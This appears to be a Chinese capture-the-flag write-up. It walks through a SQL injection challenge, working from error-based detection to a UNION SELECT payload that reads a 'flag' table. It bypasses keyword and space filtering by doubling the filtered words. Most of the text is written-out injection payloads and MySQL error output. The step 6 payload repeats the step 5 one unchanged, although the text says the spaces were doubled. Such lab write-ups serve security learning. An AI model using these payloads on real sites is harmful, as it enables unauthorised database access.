1）在文本框输入 1，提交，链接变成 id=1

2）在文件框输入 1 ‘，提交，报错，判断存在注入。

3）初步预计后台表为 flag,字段名为 flag,需要构造 union select flag from flag 来执行。

4）根据第二步的报错信息看，多加个 ‘，后面的语句需要再构造一个条件来结束’ ，注入语句为：

1 ‘ union select flag from flag where ‘t’ =’ t

执行后报错：heck the manual that corresponds to your MySQL server version for the right syntax to use near ‘flag flag ‘t’ =’ t” at line 1

分析：根据错误信息发现只有变量了，其他的关键字都被过滤了。

5）把关键字写 2 遍提交：

1' unionunion selectselect flag fromfrom flag wherewhere 't'='t

发现如下报错： corresponds to your mysql server version for the right syntax to use near ‘unionselectflag fromflag where’ t’ =’ t” at line 1

分析：发现空格被过滤了

6)）空格也写两遍呢：

1' unionunion selectselect flag fromfrom flag wherewhere 't'='t

得到答案！

尝试+经验！